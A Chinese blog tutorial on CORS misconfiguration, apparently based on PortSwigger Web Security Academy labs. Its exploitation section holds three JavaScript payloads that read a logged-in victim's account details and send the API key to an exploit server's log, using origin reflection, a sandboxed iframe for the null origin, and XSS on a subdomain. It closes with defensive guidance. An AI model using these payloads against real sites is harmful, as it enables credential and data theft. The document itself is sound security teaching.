配置不安全CORS基础原理(Cross-origin resource sharing)

文章目录

• 配置不安全CORS基础原理(Cross-origin resource sharing)
• 什么是跨域资源共享(CORS)？
• • 对于实现
  • 同源策略
  • 跨源资源共享
• 漏洞利用
• • 具有基本来源反射的 CORS 漏洞
  • 具有可信空源的 CORS 漏洞
  • 具有受信任的子域上的 CORS 漏洞
• 如何防止基于 CORS 的攻击
• • 正确配置跨域请求
  • 只允许受信任的站点
  • 避免将 null 列入白名单
  • 避免在内部网络中使用通配符
  • CORS 不能替代服务器端安全策略

什么是跨域资源共享(CORS)？

对于实现

前端对应于前端请求来说CORS通信与同源的AJAX通信没有差别，代码完全一样。浏览器一旦发现AJAX请求跨源，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感觉。

后端只要服务器实现了CORS接口，就可以跨源通信。

同源策略

同源策略是一种网络浏览器安全机制，旨在防止网站相互攻击。

当浏览器从一个源向另一个源发送 HTTP 请求时，与另一个域相关的任何 cookie（包括身份验证会话 cookie）也作为请求的一部分发送。这意味着响应将在用户会话中生成，并包含特定于用户的任何相关数据。如果没有同源策略，如果您访问了恶意网站，它将能够读取您的电子邮件、私人消息等。

跨源资源共享

跨源HTTP请求的一个例子：运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json 的请求。

出于安全性，浏览器限制脚本内发起的跨源HTTP请求。 例如，XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源，除非响应报文包含了正确 CORS 响应头。

简单请求与响应

具体细节参考https://zhuanlan.zhihu.com/p/103784902

GET /resources/public-data/ HTTP/1.1
Host: bar.other
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
...
Origin: https://foo.example

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Keep-Alive: timeout=2, max=100
Content-Type: application/xml

服务器的响应携带了 Access-Control-Allow-Origin: https://foo.example，从而限制请求的源域。

漏洞利用

靶场环境来自burpsuite的网络安全学院

许多现代网站使用 CORS 来允许来自子域和受信任的第三方的访问。他们的 CORS 实现可能包含错误或过于宽松以确保一切正常，这可能导致可利用的漏洞。如果响应包含任何敏感信息，例如 API 密钥或CSRF 令牌，您可以通过在您的网站上放置以下脚本来检索它：

具有基本来源反射的 CORS 漏洞

本案例观察密钥是通过 AJAX 请求检索到的/accountDetails，

并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS 的标头。

该网站的CORS配置 不安全，因为它信任所有来源。

攻击方式

利用服务器并输入以下 HTML

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://acbc1f3b1e585ddac0893b350056007b.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

执行后看日志页

拿到受害者的 API 密钥

具有可信空源的 CORS 漏洞

前面的同上,但当把 Origin: null 便成功返回

利用 iframe 沙箱的使用，因为这会生成空源请求。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://ac0b1f601f5df44fc05317db00f900ae.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='$exploit-server-url/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

具有受信任的子域上的 CORS 漏洞

前面的同上,但当 使用子域名时成立

本案例“检查库存”它是使用子域上的 HTTP URL 加载的。还存在xss

<script>
    document.location="http://stock.acb41f291eda85c1c0e51e7900540017.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://$your-lab-url/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://$exploit-server-url/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

如何防止基于 CORS 的攻击

CORS 漏洞主要是由于配置错误而出现的。因此，预防是一个配置问题。以下部分介绍了一些针对 CORS 攻击的有效防御措施。

正确配置跨域请求

如果 Web 资源包含敏感信息，则应在Access-Control-Allow-Origin标头中正确指定来源。

只允许受信任的站点

这似乎很明显，但Access-Control-Allow-Origin标头中指定的来源只能是受信任的站点。特别是，未经验证的跨域请求动态反映来源很容易被利用，应该避免。

避免将 null 列入白名单

避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义 CORS 标头。

避免在内部网络中使用通配符

避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅信任网络配置来保护内部资源是不够的。

CORS 不能替代服务器端安全策略

CORS 定义了浏览器行为，并且永远不会替代敏感数据的服务器端保护——攻击者可以直接伪造来自任何受信任来源的请求。因此，除了正确配置的 CORS 之外，Web 服务器还应继续对敏感数据应用保护，例如身份验证和会话管理。

标签：origin,Origin,sharing,resource,请求,req,漏洞,https,CORS
来源： https://blog.csdn.net/qq_52549196/article/details/123028214